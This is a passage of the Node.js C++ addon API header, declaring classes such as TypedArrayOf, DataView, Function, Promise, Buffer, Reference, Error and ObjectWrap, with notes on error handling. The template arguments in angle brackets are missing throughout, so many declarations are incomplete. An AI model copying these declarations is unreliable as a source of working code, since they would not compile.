std::is_same::value ? napi_int32_array : std::is_same::value ? napi_uint32_array : std::is_same::value ? napi_float32_array : std::is_same::value ? napi_float64_array #if NAPI_VERSION > 5 : std::is_same::value ? napi_bigint64_array : std::is_same::value ? napi_biguint64_array #endif // NAPI_VERSION > 5 : napi_int8_array; } /// !endcond }; /// A JavaScript typed-array value with known array type. /// /// Note while it is possible to create and access Uint8 "clamped" arrays using /// this class, the _clamping_ behavior is only applied in JavaScript. template class TypedArrayOf : public TypedArray { public: /// Creates a new TypedArray instance over a new automatically-allocated array /// buffer. /// /// The array type parameter can normally be omitted (because it is inferred /// from the template parameter T), except when creating a "clamped" array: /// /// Uint8Array::New(env, length, napi_uint8_clamped_array) static TypedArrayOf New( napi_env env, ///< Node-API environment size_t elementLength, ///< Length of the created array, as a number of ///< elements #if defined(NAPI_HAS_CONSTEXPR) napi_typedarray_type type = TypedArray::TypedArrayTypeForPrimitiveType() #else napi_typedarray_type type #endif ///< Type of array, if different from the default array type for the ///< template parameter T. ); /// Creates a new TypedArray instance over a provided array buffer. /// /// The array type parameter can normally be omitted (because it is inferred /// from the template parameter T), except when creating a "clamped" array: /// /// Uint8Array::New(env, length, buffer, 0, napi_uint8_clamped_array) static TypedArrayOf New( napi_env env, ///< Node-API environment size_t elementLength, ///< Length of the created array, as a number of ///< elements Napi::ArrayBuffer arrayBuffer, ///< Backing array buffer instance to use size_t bufferOffset, ///< Offset into the array buffer where the ///< typed-array starts #if defined(NAPI_HAS_CONSTEXPR) napi_typedarray_type type = TypedArray::TypedArrayTypeForPrimitiveType() #else napi_typedarray_type type #endif ///< Type of array, if different from the default array type for the ///< template parameter T. ); #ifdef NODE_API_EXPERIMENTAL_HAS_SHAREDARRAYBUFFER /// Creates a new TypedArray instance over a provided SharedArrayBuffer. /// /// The array type parameter can normally be omitted (because it is inferred /// from the template parameter T), except when creating a "clamped" array: /// /// Uint8Array::New(env, length, buffer, 0, napi_uint8_clamped_array) static TypedArrayOf New( napi_env env, ///< Node-API environment size_t elementLength, ///< Length of the created array, as a number of ///< elements Napi::SharedArrayBuffer arrayBuffer, ///< Backing shared array buffer instance to use size_t bufferOffset, ///< Offset into the array buffer where the ///< typed-array starts #if defined(NAPI_HAS_CONSTEXPR) napi_typedarray_type type = TypedArray::TypedArrayTypeForPrimitiveType() #else napi_typedarray_type type #endif ///< Type of array, if different from the default array type for the ///< template parameter T. ); #endif static void CheckCast(napi_env env, napi_value value); TypedArrayOf(); ///< Creates a new _empty_ TypedArrayOf instance. TypedArrayOf(napi_env env, napi_value value); ///< Wraps a Node-API value primitive. T& operator[](size_t index); ///< Gets or sets an element in the array. const T& operator[](size_t index) const; ///< Gets an element in the array. /// Gets a pointer to the array's backing buffer. /// /// This is not necessarily the same as the `ArrayBuffer::Data()` pointer, /// because the typed-array may have a non-zero `ByteOffset()` into the /// `ArrayBuffer`. T* Data(); /// Gets a pointer to the array's backing buffer. /// /// This is not necessarily the same as the `ArrayBuffer::Data()` pointer, /// because the typed-array may have a non-zero `ByteOffset()` into the /// `ArrayBuffer`. const T* Data() const; private: T* _data; TypedArrayOf(napi_env env, napi_value value, napi_typedarray_type type, size_t length, T* data); }; /// The DataView provides a low-level interface for reading/writing multiple /// number types in an ArrayBuffer irrespective of the platform's endianness. class DataView : public Object { public: static DataView New(napi_env env, Napi::ArrayBuffer arrayBuffer); static DataView New(napi_env env, Napi::ArrayBuffer arrayBuffer, size_t byteOffset); static DataView New(napi_env env, Napi::ArrayBuffer arrayBuffer, size_t byteOffset, size_t byteLength); #ifdef NODE_API_EXPERIMENTAL_HAS_SHAREDARRAYBUFFER static DataView New(napi_env env, Napi::SharedArrayBuffer arrayBuffer); static DataView New(napi_env env, Napi::SharedArrayBuffer arrayBuffer, size_t byteOffset); static DataView New(napi_env env, Napi::SharedArrayBuffer arrayBuffer, size_t byteOffset, size_t byteLength); #endif static void CheckCast(napi_env env, napi_value value); DataView(); ///< Creates a new _empty_ DataView instance. DataView(napi_env env, napi_value value); ///< Wraps a Node-API value primitive. // Gets the backing `ArrayBuffer`. // // If this `DataView` is not backed by an `ArrayBuffer`, this method will // terminate the process with a fatal error when using // `NODE_ADDON_API_ENABLE_TYPE_CHECK_ON_AS` or exhibit undefined behavior // otherwise. Use `Buffer()` instead to get the backing buffer without // assuming its type. Napi::ArrayBuffer ArrayBuffer() const; // Gets the backing buffer (an `ArrayBuffer` or `SharedArrayBuffer`). // // Use `IsArrayBuffer()` or `IsSharedArrayBuffer()` to check the type of the // backing buffer prior to casting with `As()`. Napi::Value Buffer() const; size_t ByteOffset() const; ///< Gets the offset into the buffer where the array starts. size_t ByteLength() const; ///< Gets the length of the array in bytes. void* Data() const; float GetFloat32(size_t byteOffset) const; double GetFloat64(size_t byteOffset) const; int8_t GetInt8(size_t byteOffset) const; int16_t GetInt16(size_t byteOffset) const; int32_t GetInt32(size_t byteOffset) const; uint8_t GetUint8(size_t byteOffset) const; uint16_t GetUint16(size_t byteOffset) const; uint32_t GetUint32(size_t byteOffset) const; void SetFloat32(size_t byteOffset, float value) const; void SetFloat64(size_t byteOffset, double value) const; void SetInt8(size_t byteOffset, int8_t value) const; void SetInt16(size_t byteOffset, int16_t value) const; void SetInt32(size_t byteOffset, int32_t value) const; void SetUint8(size_t byteOffset, uint8_t value) const; void SetUint16(size_t byteOffset, uint16_t value) const; void SetUint32(size_t byteOffset, uint32_t value) const; private: template T ReadData(size_t byteOffset) const; template void WriteData(size_t byteOffset, T value) const; void* _data{}; size_t _length{}; }; class Function : public Object { public: using VoidCallback = void (*)(const CallbackInfo& info); using Callback = Value (*)(const CallbackInfo& info); template static Function New(napi_env env, const char* utf8name = nullptr, void* data = nullptr); template static Function New(napi_env env, const char* utf8name = nullptr, void* data = nullptr); template static Function New(napi_env env, const std::string& utf8name, void* data = nullptr); template static Function New(napi_env env, const std::string& utf8name, void* data = nullptr); /// Callable must implement operator() accepting a const CallbackInfo& /// and return either void or Value. template static Function New(napi_env env, Callable cb, const char* utf8name = nullptr, void* data = nullptr); /// Callable must implement operator() accepting a const CallbackInfo& /// and return either void or Value. template static Function New(napi_env env, Callable cb, const std::string& utf8name, void* data = nullptr); static void CheckCast(napi_env env, napi_value value); Function(); Function(napi_env env, napi_value value); MaybeOrValue operator()( const std::initializer_list& args) const; MaybeOrValue Call(const std::initializer_list& args) const; MaybeOrValue Call(const std::vector& args) const; MaybeOrValue Call(const std::vector& args) const; MaybeOrValue Call(size_t argc, const napi_value* args) const; MaybeOrValue Call(napi_value recv, const std::initializer_list& args) const; MaybeOrValue Call(napi_value recv, const std::vector& args) const; MaybeOrValue Call(napi_value recv, const std::vector& args) const; MaybeOrValue Call(napi_value recv, size_t argc, const napi_value* args) const; MaybeOrValue MakeCallback( napi_value recv, const std::initializer_list& args, napi_async_context context = nullptr) const; MaybeOrValue MakeCallback(napi_value recv, const std::vector& args, napi_async_context context = nullptr) const; MaybeOrValue MakeCallback(napi_value recv, size_t argc, const napi_value* args, napi_async_context context = nullptr) const; MaybeOrValue New(const std::initializer_list& args) const; MaybeOrValue New(const std::vector& args) const; MaybeOrValue New(size_t argc, const napi_value* args) const; }; class Promise : public Object { public: class Deferred { public: static Deferred New(napi_env env); Deferred(napi_env env); Napi::Promise Promise() const; Napi::Env Env() const; void Resolve(napi_value value) const; void Reject(napi_value value) const; private: napi_env _env; napi_deferred _deferred; napi_value _promise; }; static void CheckCast(napi_env env, napi_value value); Promise(); Promise(napi_env env, napi_value value); MaybeOrValue Then(napi_value onFulfilled) const; MaybeOrValue Then(napi_value onFulfilled, napi_value onRejected) const; MaybeOrValue Catch(napi_value onRejected) const; MaybeOrValue Then(const Function& onFulfilled) const; MaybeOrValue Then(const Function& onFulfilled, const Function& onRejected) const; MaybeOrValue Catch(const Function& onRejected) const; }; template class Buffer : public Uint8Array { public: static Buffer New(napi_env env, size_t length); #ifndef NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED static Buffer New(napi_env env, T* data, size_t length); // Finalizer must implement `void operator()(Env env, T* data)`. template static Buffer New(napi_env env, T* data, size_t length, Finalizer finalizeCallback); // Finalizer must implement `void operator()(Env env, T* data, Hint* hint)`. template static Buffer New(napi_env env, T* data, size_t length, Finalizer finalizeCallback, Hint* finalizeHint); #endif // NODE_API_NO_EXTERNAL_BUFFERS_ALLOWED static Buffer NewOrCopy(napi_env env, T* data, size_t length); // Finalizer must implement `void operator()(Env env, T* data)`. template static Buffer NewOrCopy(napi_env env, T* data, size_t length, Finalizer finalizeCallback); // Finalizer must implement `void operator()(Env env, T* data, Hint* hint)`. template static Buffer NewOrCopy(napi_env env, T* data, size_t length, Finalizer finalizeCallback, Hint* finalizeHint); static Buffer Copy(napi_env env, const T* data, size_t length); static void CheckCast(napi_env env, napi_value value); Buffer(); Buffer(napi_env env, napi_value value); size_t Length() const; T* Data() const; private: }; /// Holds a counted reference to a value; initially a weak reference unless /// otherwise specified, may be changed to/from a strong reference by adjusting /// the refcount. /// /// The referenced value is not immediately destroyed when the reference count /// is zero; it is merely then eligible for garbage-collection if there are no /// other references to the value. template class Reference { public: static Reference New(const T& value, uint32_t initialRefcount = 0); Reference(); Reference(napi_env env, napi_ref ref); ~Reference(); // A reference can be moved but cannot be copied. Reference(Reference&& other); Reference& operator=(Reference&& other); NAPI_DISALLOW_ASSIGN(Reference) operator napi_ref() const; bool operator==(const Reference& other) const; bool operator!=(const Reference& other) const; Napi::Env Env() const; bool IsEmpty() const; // Note when getting the value of a Reference it is usually correct to do so // within a HandleScope so that the value handle gets cleaned up efficiently. T Value() const; uint32_t Ref() const; uint32_t Unref() const; void Reset(); void Reset(const T& value, uint32_t refcount = 0); // Call this on a reference that is declared as static data, to prevent its // destructor from running at program shutdown time, which would attempt to // reset the reference when the environment is no longer valid. Avoid using // this if at all possible. If you do need to use static data, MAKE SURE to // warn your users that your addon is NOT threadsafe. void SuppressDestruct(); protected: Reference(const Reference&); /// !cond INTERNAL napi_env _env; napi_ref _ref; /// !endcond private: bool _suppressDestruct; }; class ObjectReference : public Reference { public: ObjectReference(); ObjectReference(napi_env env, napi_ref ref); // A reference can be moved but cannot be copied. ObjectReference(Reference&& other); ObjectReference& operator=(Reference&& other); ObjectReference(ObjectReference&& other); ObjectReference& operator=(ObjectReference&& other); NAPI_DISALLOW_ASSIGN(ObjectReference) MaybeOrValue Get(const char* utf8name) const; MaybeOrValue Get(const std::string& utf8name) const; MaybeOrValue Set(const char* utf8name, napi_value value) const; MaybeOrValue Set(const char* utf8name, Napi::Value value) const; MaybeOrValue Set(const char* utf8name, const char* utf8value) const; MaybeOrValue Set(const char* utf8name, bool boolValue) const; MaybeOrValue Set(const char* utf8name, double numberValue) const; MaybeOrValue Set(const std::string& utf8name, napi_value value) const; MaybeOrValue Set(const std::string& utf8name, Napi::Value value) const; MaybeOrValue Set(const std::string& utf8name, const std::string& utf8value) const; MaybeOrValue Set(const std::string& utf8name, bool boolValue) const; MaybeOrValue Set(const std::string& utf8name, double numberValue) const; MaybeOrValue Get(uint32_t index) const; MaybeOrValue Set(uint32_t index, const napi_value value) const; MaybeOrValue Set(uint32_t index, const Napi::Value value) const; MaybeOrValue Set(uint32_t index, const char* utf8value) const; MaybeOrValue Set(uint32_t index, const std::string& utf8value) const; MaybeOrValue Set(uint32_t index, bool boolValue) const; MaybeOrValue Set(uint32_t index, double numberValue) const; protected: ObjectReference(const ObjectReference&); }; class FunctionReference : public Reference { public: FunctionReference(); FunctionReference(napi_env env, napi_ref ref); // A reference can be moved but cannot be copied. FunctionReference(Reference&& other); FunctionReference& operator=(Reference&& other); FunctionReference(FunctionReference&& other); FunctionReference& operator=(FunctionReference&& other); NAPI_DISALLOW_ASSIGN_COPY(FunctionReference) MaybeOrValue operator()( const std::initializer_list& args) const; MaybeOrValue Call( const std::initializer_list& args) const; MaybeOrValue Call(const std::vector& args) const; MaybeOrValue Call( napi_value recv, const std::initializer_list& args) const; MaybeOrValue Call(napi_value recv, const std::vector& args) const; MaybeOrValue Call(napi_value recv, size_t argc, const napi_value* args) const; MaybeOrValue MakeCallback( napi_value recv, const std::initializer_list& args, napi_async_context context = nullptr) const; MaybeOrValue MakeCallback( napi_value recv, const std::vector& args, napi_async_context context = nullptr) const; MaybeOrValue MakeCallback( napi_value recv, size_t argc, const napi_value* args, napi_async_context context = nullptr) const; MaybeOrValue New(const std::initializer_list& args) const; MaybeOrValue New(const std::vector& args) const; }; // Shortcuts to creating a new reference with inferred type and refcount = 0. template Reference Weak(T value); ObjectReference Weak(Object value); FunctionReference Weak(Function value); // Shortcuts to creating a new reference with inferred type and refcount = 1. template Reference Persistent(T value); ObjectReference Persistent(Object value); FunctionReference Persistent(Function value); /// A persistent reference to a JavaScript error object. Use of this class /// depends somewhat on whether C++ exceptions are enabled at compile time. /// /// ### Handling Errors With C++ Exceptions /// /// If C++ exceptions are enabled, then the `Error` class extends /// `std::exception` and enables integrated error-handling for C++ exceptions /// and JavaScript exceptions. /// /// If a Node-API call fails without executing any JavaScript code (for /// example due to an invalid argument), then the Node-API wrapper /// automatically converts and throws the error as a C++ exception of type /// `Napi::Error`. Or if a JavaScript function called by C++ code via Node-API /// throws a JavaScript exception, then the Node-API wrapper automatically /// converts and throws it as a C++ exception of type `Napi::Error`. /// /// If a C++ exception of type `Napi::Error` escapes from a Node-API C++ /// callback, then the Node-API wrapper automatically converts and throws it /// as a JavaScript exception. Therefore, catching a C++ exception of type /// `Napi::Error` prevents a JavaScript exception from being thrown. /// /// #### Example 1A - Throwing a C++ exception: /// /// Napi::Env env = ... /// throw Napi::Error::New(env, "Example exception"); /// /// Following C++ statements will not be executed. The exception will bubble /// up as a C++ exception of type `Napi::Error`, until it is either caught /// while still in C++, or else automatically propagated as a JavaScript /// exception when the callback returns to JavaScript. /// /// #### Example 2A - Propagating a Node-API C++ exception: /// /// Napi::Function jsFunctionThatThrows = someObj.As(); /// Napi::Value result = jsFunctionThatThrows({ arg1, arg2 }); /// /// Following C++ statements will not be executed. The exception will bubble /// up as a C++ exception of type `Napi::Error`, until it is either caught /// while still in C++, or else automatically propagated as a JavaScript /// exception when the callback returns to JavaScript. /// /// #### Example 3A - Handling a Node-API C++ exception: /// /// Napi::Function jsFunctionThatThrows = someObj.As(); /// Napi::Value result; /// try { /// result = jsFunctionThatThrows({ arg1, arg2 }); /// } catch (const Napi::Error& e) { /// cerr << "Caught JavaScript exception: " + e.what(); /// } /// /// Since the exception was caught here, it will not be propagated as a /// JavaScript exception. /// /// ### Handling Errors Without C++ Exceptions /// /// If C++ exceptions are disabled (by defining /// `NODE_ADDON_API_DISABLE_CPP_EXCEPTIONS`) then this class does not extend /// `std::exception`, and APIs in the `Napi` namespace do not throw C++ /// exceptions when they fail. Instead, they raise _pending_ JavaScript /// exceptions and return _empty_ `Value`s. Calling code should check /// `Value::IsEmpty()` before attempting to use a returned value, and may use /// methods on the `Env` class to check for, get, and clear a pending JavaScript /// exception. If the pending exception is not cleared, it will be thrown when /// the native callback returns to JavaScript. /// /// #### Example 1B - Throwing a JS exception /// /// Napi::Env env = ... /// Napi::Error::New(env, "Example /// exception").ThrowAsJavaScriptException(); return; /// /// After throwing a JS exception, the code should generally return /// immediately from the native callback, after performing any necessary /// cleanup. /// /// #### Example 2B - Propagating a Node-API JS exception: /// /// Napi::Function jsFunctionThatThrows = someObj.As(); /// Napi::Value result = jsFunctionThatThrows({ arg1, arg2 }); /// if (result.IsEmpty()) return; /// /// An empty value result from a Node-API call indicates an error occurred, /// and a JavaScript exception is pending. To let the exception propagate, the /// code should generally return immediately from the native callback, after /// performing any necessary cleanup. /// /// #### Example 3B - Handling a Node-API JS exception: /// /// Napi::Function jsFunctionThatThrows = someObj.As(); /// Napi::Value result = jsFunctionThatThrows({ arg1, arg2 }); /// if (result.IsEmpty()) { /// Napi::Error e = env.GetAndClearPendingException(); /// cerr << "Caught JavaScript exception: " + e.Message(); /// } /// /// Since the exception was cleared here, it will not be propagated as a /// JavaScript exception after the native callback returns. class Error : public ObjectReference #ifdef NODE_ADDON_API_CPP_EXCEPTIONS , public std::exception #endif // NODE_ADDON_API_CPP_EXCEPTIONS { public: static Error New(napi_env env); static Error New(napi_env env, const char* message); static Error New(napi_env env, const std::string& message); static NAPI_NO_RETURN void Fatal(const char* location, const char* message); Error(); Error(napi_env env, napi_value value); // An error can be moved or copied. Error(Error&& other); Error& operator=(Error&& other); Error(const Error&); Error& operator=(const Error&); const std::string& Message() const NAPI_NOEXCEPT; void ThrowAsJavaScriptException() const; Object Value() const; #ifdef NODE_ADDON_API_CPP_EXCEPTIONS const char* what() const NAPI_NOEXCEPT override; #endif // NODE_ADDON_API_CPP_EXCEPTIONS protected: /// !cond INTERNAL using create_error_fn = napi_status (*)(napi_env envb, napi_value code, napi_value msg, napi_value* result); template static TError New(napi_env env, const char* message, size_t length, create_error_fn create_error); /// !endcond private: static inline const char* ERROR_WRAP_VALUE() NAPI_NOEXCEPT; mutable std::string _message; }; class TypeError : public Error { public: static TypeError New(napi_env env, const char* message); static TypeError New(napi_env env, const std::string& message); TypeError(); TypeError(napi_env env, napi_value value); }; class RangeError : public Error { public: static RangeError New(napi_env env, const char* message); static RangeError New(napi_env env, const std::string& message); RangeError(); RangeError(napi_env env, napi_value value); }; #if NAPI_VERSION > 8 class SyntaxError : public Error { public: static SyntaxError New(napi_env env, const char* message); static SyntaxError New(napi_env env, const std::string& message); SyntaxError(); SyntaxError(napi_env env, napi_value value); }; #endif // NAPI_VERSION > 8 class CallbackInfo { public: CallbackInfo(napi_env env, napi_callback_info info); ~CallbackInfo(); // Disallow copying to prevent multiple free of _dynamicArgs NAPI_DISALLOW_ASSIGN_COPY(CallbackInfo) Napi::Env Env() const; Value NewTarget() const; bool IsConstructCall() const; size_t Length() const; const Value operator[](size_t index) const; Value This() const; void* Data() const; void SetData(void* data); explicit operator napi_callback_info() const; private: const size_t _staticArgCount = 6; napi_env _env; napi_callback_info _info; napi_value _this; size_t _argc; napi_value* _argv; napi_value _staticArgs[6]{}; napi_value* _dynamicArgs; void* _data; }; class PropertyDescriptor { public: using GetterCallback = Napi::Value (*)(const Napi::CallbackInfo& info); using SetterCallback = void (*)(const Napi::CallbackInfo& info); #ifndef NODE_ADDON_API_DISABLE_DEPRECATED template static PropertyDescriptor Accessor( const char* utf8name, Getter getter, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Accessor( const std::string& utf8name, Getter getter, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Accessor( napi_value name, Getter getter, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Accessor( Name name, Getter getter, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Accessor( const char* utf8name, Getter getter, Setter setter, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Accessor( const std::string& utf8name, Getter getter, Setter setter, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Accessor( napi_value name, Getter getter, Setter setter, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Accessor( Name name, Getter getter, Setter setter, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Function( const char* utf8name, Callable cb, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Function( const std::string& utf8name, Callable cb, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Function( napi_value name, Callable cb, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Function( Name name, Callable cb, napi_property_attributes attributes = napi_default, void* data = nullptr); #endif // !NODE_ADDON_API_DISABLE_DEPRECATED template static PropertyDescriptor Accessor( const char* utf8name, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Accessor( const std::string& utf8name, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Accessor( Name name, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Accessor( const char* utf8name, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Accessor( const std::string& utf8name, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Accessor( Name name, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Accessor( Napi::Env env, Napi::Object object, const char* utf8name, Getter getter, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Accessor( Napi::Env env, Napi::Object object, const std::string& utf8name, Getter getter, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Accessor( Napi::Env env, Napi::Object object, Name name, Getter getter, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Accessor( Napi::Env env, Napi::Object object, const char* utf8name, Getter getter, Setter setter, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Accessor( Napi::Env env, Napi::Object object, const std::string& utf8name, Getter getter, Setter setter, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Accessor( Napi::Env env, Napi::Object object, Name name, Getter getter, Setter setter, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Function( Napi::Env env, Napi::Object object, const char* utf8name, Callable cb, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Function( Napi::Env env, Napi::Object object, const std::string& utf8name, Callable cb, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor Function( Napi::Env env, Napi::Object object, Name name, Callable cb, napi_property_attributes attributes = napi_default, void* data = nullptr); static PropertyDescriptor Value( const char* utf8name, napi_value value, napi_property_attributes attributes = napi_default); static PropertyDescriptor Value( const std::string& utf8name, napi_value value, napi_property_attributes attributes = napi_default); static PropertyDescriptor Value( napi_value name, napi_value value, napi_property_attributes attributes = napi_default); static PropertyDescriptor Value( Name name, Napi::Value value, napi_property_attributes attributes = napi_default); PropertyDescriptor(napi_property_descriptor desc); operator napi_property_descriptor&(); operator const napi_property_descriptor&() const; private: napi_property_descriptor _desc; }; /// Property descriptor for use with `ObjectWrap::DefineClass()`. /// /// This is different from the standalone `PropertyDescriptor` because it is /// specific to each `ObjectWrap` subclass. This prevents using descriptors /// from a different class when defining a new class (preventing the callbacks /// from having incorrect `this` pointers). template class ClassPropertyDescriptor { public: ClassPropertyDescriptor(napi_property_descriptor desc) : _desc(desc) {} operator napi_property_descriptor&() { return _desc; } operator const napi_property_descriptor&() const { return _desc; } private: napi_property_descriptor _desc; }; template struct MethodCallbackData { TCallback callback; void* data; }; template struct AccessorCallbackData { TGetterCallback getterCallback; TSetterCallback setterCallback; void* data; }; template class InstanceWrap { public: using InstanceVoidMethodCallback = void (T::*)(const CallbackInfo& info); using InstanceMethodCallback = Napi::Value (T::*)(const CallbackInfo& info); using InstanceGetterCallback = Napi::Value (T::*)(const CallbackInfo& info); using InstanceSetterCallback = void (T::*)(const CallbackInfo& info, const Napi::Value& value); using PropertyDescriptor = ClassPropertyDescriptor; static PropertyDescriptor InstanceMethod( const char* utf8name, InstanceVoidMethodCallback method, napi_property_attributes attributes = napi_default, void* data = nullptr); static PropertyDescriptor InstanceMethod( const char* utf8name, InstanceMethodCallback method, napi_property_attributes attributes = napi_default, void* data = nullptr); static PropertyDescriptor InstanceMethod( Symbol name, InstanceVoidMethodCallback method, napi_property_attributes attributes = napi_default, void* data = nullptr); static PropertyDescriptor InstanceMethod( Symbol name, InstanceMethodCallback method, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor InstanceMethod( const char* utf8name, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor InstanceMethod( const char* utf8name, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor InstanceMethod( Symbol name, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor InstanceMethod( Symbol name, napi_property_attributes attributes = napi_default, void* data = nullptr); static PropertyDescriptor InstanceAccessor( const char* utf8name, InstanceGetterCallback getter, InstanceSetterCallback setter, napi_property_attributes attributes = napi_default, void* data = nullptr); static PropertyDescriptor InstanceAccessor( Symbol name, InstanceGetterCallback getter, InstanceSetterCallback setter, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor InstanceAccessor( const char* utf8name, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor InstanceAccessor( Symbol name, napi_property_attributes attributes = napi_default, void* data = nullptr); static PropertyDescriptor InstanceValue( const char* utf8name, Napi::Value value, napi_property_attributes attributes = napi_default); static PropertyDescriptor InstanceValue( Symbol name, Napi::Value value, napi_property_attributes attributes = napi_default); protected: static void AttachPropData(napi_env env, napi_value value, const napi_property_descriptor* prop); private: using This = InstanceWrap; using InstanceVoidMethodCallbackData = MethodCallbackData; using InstanceMethodCallbackData = MethodCallbackData; using InstanceAccessorCallbackData = AccessorCallbackData; static napi_value InstanceVoidMethodCallbackWrapper(napi_env env, napi_callback_info info); static napi_value InstanceMethodCallbackWrapper(napi_env env, napi_callback_info info); static napi_value InstanceGetterCallbackWrapper(napi_env env, napi_callback_info info); static napi_value InstanceSetterCallbackWrapper(napi_env env, napi_callback_info info); template static napi_value WrappedMethod(napi_env env, napi_callback_info info) NAPI_NOEXCEPT; template struct SetterTag {}; template static napi_callback WrapSetter(SetterTag) NAPI_NOEXCEPT { return &This::WrappedMethod; } static napi_callback WrapSetter(SetterTag) NAPI_NOEXCEPT { return nullptr; } }; /// Base class to be extended by C++ classes exposed to JavaScript; each C++ /// class instance gets "wrapped" by a JavaScript object that is managed by this /// class. /// /// At initialization time, the `DefineClass()` method must be used to /// hook up the accessor and method callbacks. It takes a list of /// property descriptors, which can be constructed via the various /// static methods on the base class. /// /// #### Example: /// /// class Example: public Napi::ObjectWrap { /// public: /// static void Initialize(Napi::Env& env, Napi::Object& target) { /// Napi::Function constructor = DefineClass(env, "Example", { /// InstanceAccessor<&Example::GetSomething, /// &Example::SetSomething>("value"), /// InstanceMethod<&Example::DoSomething>("doSomething"), /// }); /// target.Set("Example", constructor); /// } /// /// Example(const Napi::CallbackInfo& info); // Constructor /// Napi::Value GetSomething(const Napi::CallbackInfo& info); /// void SetSomething(const Napi::CallbackInfo& info, const Napi::Value& /// value); Napi::Value DoSomething(const Napi::CallbackInfo& info); /// } template class ObjectWrap : public InstanceWrap, public Reference { public: ObjectWrap(const CallbackInfo& callbackInfo); virtual ~ObjectWrap(); static T* Unwrap(Object wrapper); // Methods exposed to JavaScript must conform to one of these callback // signatures. using StaticVoidMethodCallback = void (*)(const CallbackInfo& info); using StaticMethodCallback = Napi::Value (*)(const CallbackInfo& info); using StaticGetterCallback = Napi::Value (*)(const CallbackInfo& info); using StaticSetterCallback = void (*)(const CallbackInfo& info, const Napi::Value& value); using PropertyDescriptor = ClassPropertyDescriptor; static Function DefineClass( Napi::Env env, const char* utf8name, const std::initializer_list& properties, void* data = nullptr); static Function DefineClass(Napi::Env env, const char* utf8name, const std::vector& properties, void* data = nullptr); static PropertyDescriptor StaticMethod( const char* utf8name, StaticVoidMethodCallback method, napi_property_attributes attributes = napi_default, void* data = nullptr); static PropertyDescriptor StaticMethod( const char* utf8name, StaticMethodCallback method, napi_property_attributes attributes = napi_default, void* data = nullptr); static PropertyDescriptor StaticMethod( Symbol name, StaticVoidMethodCallback method, napi_property_attributes attributes = napi_default, void* data = nullptr); static PropertyDescriptor StaticMethod( Symbol name, StaticMethodCallback method, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor StaticMethod( const char* utf8name, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor StaticMethod( Symbol name, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor StaticMethod( const char* utf8name, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor StaticMethod( Symbol name, napi_property_attributes attributes = napi_default, void* data = nullptr); static PropertyDescriptor StaticAccessor( const char* utf8name, StaticGetterCallback getter, StaticSetterCallback setter, napi_property_attributes attributes = napi_default, void* data = nullptr); static PropertyDescriptor StaticAccessor( Symbol name, StaticGetterCallback getter, StaticSetterCallback setter, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor StaticAccessor( const char* utf8name, napi_property_attributes attributes = napi_default, void* data = nullptr); template static PropertyDescriptor StaticAccessor( Symbol name, napi_property_attributes attributes = napi_default, void* data = nullptr); static PropertyDescriptor StaticValue( const char* utf8name, Napi::Value value, napi_property_attributes attributes = napi_default); static PropertyDescriptor StaticValue( Symbol name, Napi::Value value, napi_property_attributes attributes = napi_default); static Napi::Value OnCalledAsFunction(const Napi::CallbackInfo& callbackInfo); virtual void Finalize(Napi::Env env); virtual void Finalize(BasicEnv env); private: using This = ObjectWrap; static napi_value ConstructorCallbackWrapper(napi_env env, napi_callback_info info); static napi_value StaticVoidMethodCallbackWrapper(napi_env env, napi_callback_info info); static napi_value StaticMethodCallbackWrapper(napi_env env, napi_callback_info info); static napi_value StaticGetterCallbackWrapper(napi_env env, napi_callback_info info); static napi_value StaticSetterCallbackWrapper(napi_env env, napi_callback_info info); static void FinalizeCallback(node_addon_api_basic_env env, void* data, void* hint); static void PostFinalizeCallback(napi_env env, void* data, void* hint); static Function DefineClass(Napi::Env env, const char* utf8name, const size_t props_count, const napi_property_descriptor* props, void* data = nullptr); using StaticVoidMethodCallbackData = MethodCallbackData; using StaticMethodCallbackData = MethodCallbackData; using StaticAccessorCallbackData = AccessorCallbackData; template static napi_value WrappedMethod(napi_env env, napi_callback_info info) NAPI_NOEXCEPT; template struct StaticSetterTag {}; template static napi_callback WrapStaticSetter(StaticSetterTag) NAPI_NOEXCEPT { return &This::WrappedMethod; } static napi_callback WrapStaticSetter(StaticSetterTag) 